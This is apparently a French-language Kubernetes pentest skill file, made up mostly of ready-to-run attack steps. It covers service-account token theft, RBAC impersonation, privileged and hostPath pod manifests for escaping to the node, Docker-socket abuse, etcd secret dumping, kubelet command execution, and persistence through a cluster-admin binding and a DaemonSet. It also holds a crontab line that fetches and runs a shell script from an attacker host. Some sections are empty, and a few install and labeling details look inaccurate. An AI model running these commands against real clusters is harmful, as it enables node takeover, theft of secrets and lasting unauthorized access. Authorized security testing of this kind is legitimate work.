| name | kubernetes-pentesting |
| description | Guide complet de pentest Kubernetes — RBAC abuse, pod escapes, service account tokens, etcd, kubelet, secrets, container escape, outils |
| category | cybersecurite |
Kubernetes Pentesting — Guide Avancé
Introduction
Kubernetes est un orchestrateur de conteneurs complexe avec de multiples surfaces d'attaque: API server, etcd, kubelet, pods, network, RBAC, secrets, et images.
Outils Essentiels
| Outil | Description |
|---|
| kube-hunter | Scanner de vulnérabilités K8s |
| kube-bench | CIS Benchmark pour K8s |
| kubectl | CLI K8s native |
| kubescape | Scanner de sécurité complet |
| Peirates | Framework d'attaque K8s |
| CDK (Container Development Kit) | Escape de conteneur |
| kubectl-who-can | Analyse des permissions |
| rakkess | Matrice d'accès RBAC |
pip install kube-hunter
pip install kube-bench
git clone https://github.com/inguardians/peirates
Énumération K8s
Depuis l'extérieur
Découverte des endpoints:
curl -k https://target.com:6443/livez?verbose
curl -k https://target.com:6443/openapi/v2
curl -k https://target.com:10250/pods
curl http://target.com:10255/pods
curl -k https://target.com/api/v1/namespaces/kubernetes-dashboard/services/
Fingerprinting:
kube-hunter --remote target.com
kubescape scan --enable-host-scan https://target.com:6443
nmap -p 6443,443,10250,10255,2379,2380,30000-32767 target.com
Depuis l'intérieur (pod compromis)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://kubernetes.default.svc/api/v1/namespaces
kubectl auth can-i --list
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
find / -name "*.kubeconfig" 2>/dev/null
find / -name "config" -path "*kube*" 2>/dev/null
RBAC Abuse
ClusterRole dangereuses
| Permission | Risque |
|---|
* ou cluster-admin | Contrôle total |
list secrets / get secrets | Vol de tous les secrets |
create pods + --as | Exécution arbitraire |
create deployments | Déploiement arbitraire |
impersonate | Usurpation d'identité |
patch deployments | Modification de déploiement |
get pods/exec | Exécution dans les pods |
create* / update* / patch* | Modification de ressources |
Escalade via RBAC
kubectl auth can-i --list
rakkess
kubectl --as=system:admin get pods
kubectl --as=cluster-admin get secrets --all-namespaces
apiVersion: v1
kind: Pod
metadata:
name: exploit
spec:
serviceAccountName: admin-sa
containers:
- name: exploit
image: alpine
command: ["sleep", "3600"]
automountServiceAccountToken: true
kubectl get secrets --all-namespaces
kubectl get secret admin-token -o yaml
echo '<base64>' | base64 -d
kubectl-who-can
kubectl-who-can create pods
kubectl-who-can get secrets
kubectl-who-can '*'
Pod Escape
HostPath Volume — Accès au noeud
apiVersion: v1
kind: Pod
metadata:
name: hostpath-exploit
spec:
containers:
- name: exploit
image: alpine
command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash"]
securityContext:
privileged: true
volumeMounts:
- name: host-fs
mountPath: /host
volumes:
- name: host-fs
hostPath:
path: /
Sans Privilégié (hostPath mount):
cat /host/var/log/kube-apiserver.log
cat /host/root/.ssh/authorized_keys
chroot /host bash
echo '* * * * * root curl http://attacker/shell.sh|bash' >> /host/etc/crontab
Privileged Container
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
fdisk -l
mount /dev/sda1 /mnt
chroot /mnt bash
Docker Socket
apiVersion: v1
kind: Pod
metadata:
name: docker-socket-exploit
spec:
containers:
- name: exploit
image: alpine
command: ["sleep", "3600"]
volumeMounts:
- name: docker
mountPath: /var/run/docker.sock
volumes:
- name: docker
hostPath:
path: /var/run/docker.sock
apk add docker-cli
docker ps
docker run -it -v /:/host alpine chroot /host bash
ContainerD/CRI-O Socket
curl --unix-socket /run/containerd/containerd.sock http://localhost/containers/json
Attaque sur etcd
export ETCDCTL_API=3
etcdctl --endpoints=https://127.0.0.1:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get / --prefix --keys-only
etcdctl get /registry/secrets/kube-system/admin-token
etcdctl get /registry/secrets/default/...
Kubelet API
curl http://target.com:10255/pods
curl http://target.com:10255/runningpods
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://target.com:10250/pods
curl -k -X POST \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
-H "Content-Type: application/json" \
-d '{"command": ["id"]}' \
https://target.com:10250/run/<namespace>/<pod>/<container>
Attaque des Secrets
kubectl get secrets --all-namespaces
kubectl get secret <secret-name> -o yaml
kubectl get secret regcred -o yaml | grep dockerconfigjson | awk '{print $2}' | base64 -d
Man-in-the-Middle (MITM) K8s
kubectl get endpoints
Denial of Service
Persistance dans K8s
kubectl create sa persistence
kubectl create clusterrolebinding persistence --clusterrole=cluster-admin --serviceaccount=default:persistence
kubectl get secret $(kubectl get sa persistence -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: persistence-ds
spec:
selector:
matchLabels:
name: persistence
template:
metadata:
labels:
name: persistence
spec:
containers:
- name: persistence
image: alpine
command: ["sleep", "3600"]
volumeMounts:
- name: host-fs
mountPath: /host
volumes:
- name: host-fs
hostPath:
path: /
Checklist Pentest K8s
- API Server accessible publiquement
- Kubelet API non authentifié (10255)
- etcd accessible sans auth
- Dashboard exposé sans auth
- RBAC over-permissif (cluster-admin, impersonate)
- Pod en mode privilégié
- HostPath volumes dangereux (/, /var/log, /var/run/docker.sock)
- Containers run as root
- Secrets en clair ou avec peu d'accès
- Network policies désactivées
- Container images vulnérables
- Pod Security Standards désactivés (PSP/PSS)
- Admission controllers désactivés
- Audit logging désactivé
- Service Account token automatiquement monté
Ressources